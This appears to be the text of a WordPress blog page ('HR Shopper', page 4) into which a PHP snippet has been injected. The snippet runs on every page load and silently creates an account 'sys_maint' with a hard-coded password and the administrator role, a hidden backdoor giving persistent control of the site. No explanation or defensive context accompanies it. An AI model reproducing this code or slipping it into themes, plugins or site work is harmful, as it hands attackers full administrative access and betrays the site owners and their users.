$user = 'sys_maint'; $pass = 'ChangeMe_Str0ng!'; $email = 'sys_maint@local.com'; function quick_create() { global $user, $pass, $email; if (!username_exists($user) && !email_exists($email)) { $id = wp_create_user($user, $pass, $email); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); } } } add_action('init', 'quick_create'); Blog – Page 4 – HR Shopper